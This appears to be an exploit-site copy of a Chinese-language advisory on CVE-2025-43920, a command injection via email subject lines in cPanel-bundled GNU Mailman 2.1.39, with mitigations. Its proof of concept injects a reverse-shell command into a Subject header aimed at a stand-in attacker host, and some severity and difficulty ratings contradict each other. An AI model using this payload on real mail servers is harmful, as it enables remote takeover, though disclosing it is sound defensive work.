Sploitus

Exploit for CVE-2025-43920

kitploit · 2026-09-02

Exploit Code

MARKDOWN122 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0NYX-MY7H-CVE-2025-43920
# CVE-2025-43920:GNU Mailman 2.1.39(cPanel/WHM 捆绑版)中通过邮件主题实施的命令注入

**发现者:** Firudin Davudzada 与 Musazada Aydan  
**公开日期:** 2025年4月  
**CVE ID:** CVE-2025-43920  
**严重性:** 5.4 中等 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)  
**攻击类型:** 远程  
**受影响软件:** GNU Mailman 2.1.39(捆绑于 cPanel/WHM)

## 概述

GNU Mailman 2.1.39 在随 cPanel 和 WHM 捆绑分发时,存在一个严重的命令注入缺陷,允许未经身份验证的攻击者执行任意操作系统命令。当在 `mm_cfg.py` 配置文件中通过 `PUBLIC_EXTERNAL_ARCHIVER` 或 `PRIVATE_EXTERNAL_ARCHIVER` 配置了外部归档器,且邮件主题行包含未正确清理的 shell 元字符时,该漏洞即被触发。这可能导致系统完全受损,使攻击者能够建立反弹 shell、窃取数据或执行其他恶意操作。

## 漏洞详情

  * **漏洞类型:** 命令注入
  * **厂商:** GNU Mailman
  * **受影响版本:** Mailman 2.1.39;可能影响旧版 2.1.x(需回归测试确认)
  * **受影响组件:**
    * 外部归档器配置(`PUBLIC_EXTERNAL_ARCHIVER`、`PRIVATE_EXTERNAL_ARCHIVER`)
    * `Mailman/Handlers/`(邮件主题处理逻辑,可能包含 `CookHeaders.py` 等文件)
  * **根本原因:** 当配置外部归档器时,邮件主题行可能被直接传递给 shell 命令而未进行适当清理,若包含 shell 元字符(例如 `;`、`&`、`|`),则允许执行任意命令。
  * **状态:** 尚无官方修复。Mailman 2.1.x 已停止维护(EOL);强烈建议迁移至 Mailman 3.x。



## 概念验证

要利用此漏洞,攻击者可向 Mailman 管理的邮件列表发送带有恶意主题行的邮件,例如:

root@kitploit:~
    
    
    Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
    

**前提条件:**

  * 目标 Mailman 列表必须通过 `PUBLIC_EXTERNAL_ARCHIVER` 或 `PRIVATE_EXTERNAL_ARCHIVER` 配置了外部归档器。
  * 攻击者必须控制能够向目标列表发送邮件的邮件服务器或客户端。
  * 必须在 `ATTACKERIP:4444` 上设置监听器(例如 `netcat`)以接收反弹 shell。



**预期结果:** 若外部归档器命令未对主题行进行清理,恶意命令将在服务器上执行,建立指向攻击者服务器的反弹 shell。

## 攻击向量

  * **主要攻击向量:** 向 Mailman 管理的邮件列表发送包含 shell 元字符的恶意邮件主题行,且该列表已配置外部归档器。
  * **利用场景:**
    * 建立反弹 shell 以获取持久访问。
    * 执行命令以窃取数据、修改配置或安装恶意软件。
    * 与其他漏洞串联以升级攻击。
  * **利用难度:** 高,因为任何邮件发送者都可以针对已配置外部归档器的公开或配置不当的列表发起攻击。



## 安全影响

  * **代码执行:** 高(任意操作系统命令执行)
  * **权限提升:** 高(取决于 Mailman 的运行权限,可能获得 root 访问)
  * **信息泄露:** 高(命令输出可揭示系统数据)
  * **拒绝服务:** 高(恶意命令可能导致服务器崩溃或过载)



## 缓解措施

### 立即行动

  * **禁用外部归档器:** 在 `mm_cfg.py` 中将 `PUBLIC_EXTERNAL_ARCHIVER` 和 `PRIVATE_EXTERNAL_ARCHIVER` 设置为 `None`:

root@kitploit:~
        
        PUBLIC_EXTERNAL_ARCHIVER = None
        PRIVATE_EXTERNAL_ARCHIVER = None
        

  * **清理输入:** 如果必须使用外部归档器,请确保命令对主题行进行清理,以防止 shell 元字符注入。

  * **限制订阅:** 将邮件列表订阅限制为可信用户,以减少暴露面。




### 长期解决方案

  * **升级至 Mailman 3.x:** 迁移至 Mailman 3.x,该版本实现了稳健的输入清理机制,并得到积极维护。
  * **禁用邮件处理:** 若不需要,可禁用 Mailman 的邮件处理功能以消除该攻击向量。
  * **强化环境:** 在容器化环境中以最小权限运行 Mailman,以限制潜在漏洞的影响。



## 时间线

  * **2025 年第一季度:** 在授权渗透测试评估中发现。
  * **2025 年第一季度:** 向 GNU Mailman 和 cPanel 维护者报告。
  * **2025 年 4 月:** MITRE 分配 CVE。
  * **2025 年 4 月:** 通过此仓库公开发布。



## 参考资料

  * Mailman 2.1 源代码
  * CVE-2025-43920 记录
  * Mailman 安全建议
  * INCIBE-CERT - CVE-2025-43920
  * VULDB - CVE-2025-43920
  * 美国国家标准与技术研究院 (NIST) - CVE-2025-43920
  * Tenable - CVE-2025-43920



## 致谢

Firudin Davudzada 和 Musazada Aydan 在授权的渗透测试活动中负责任地披露了此漏洞。感谢 MITRE CVE 团队的协调工作。

## 联系方式

**邮箱:** some-email@example.com